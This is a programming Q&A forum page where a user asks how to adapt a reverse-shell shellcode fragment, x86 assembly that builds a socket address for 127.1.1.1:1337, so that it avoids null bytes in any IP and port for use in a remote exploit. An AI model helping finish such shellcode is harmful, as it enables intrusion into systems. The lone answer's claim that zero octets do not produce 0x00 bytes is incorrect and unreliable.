Click here to Skip to main content
15,891,670 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
I have read this blog:. In
the complete shellcode, As you read it, I ask the guy who created that blog, he say
C#
keep in mind that your port or ip should not contain a \x00, which could break it
. "If your IP contains a zero like 192.168.0.1 or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".
So can anyone help me how to edit just one thing :
C++
push 0x0101017f  ;sin_addr=127.1.1.1 (network byte order)
push word 0x3905 ;sin_port=1337 (network byte order)
inc ebx          
push word bx     ;sin_family=AF_INET (0x2)
mov ecx, esp     ;save pointer to sockaddr struct

To make the the shell work with any ip address and port number.

What I have tried:

I'm not good about this. I tried, tried to ask who create the blog. he couldn't answer me. that make me lost 2 day.
Posted
Updated 10-May-16 0:03am
v3
Comments
Richard MacCutchan 10-May-16 4:57am    
What exactly are you trying to do?

1 solution

Quote:
keep in mind that your port or ip should not contain a \x00, which could break it

. "If your IP contains a zero like 192.168.0.1 or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".
No you wrong, you look very confused with the 0 values.
0x00 or 0\00 is not the same as "0", they are 2 different beasts.

With better knowledge of Assembler, you would know that they are unrelated.
 
Share this answer
 
v3

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900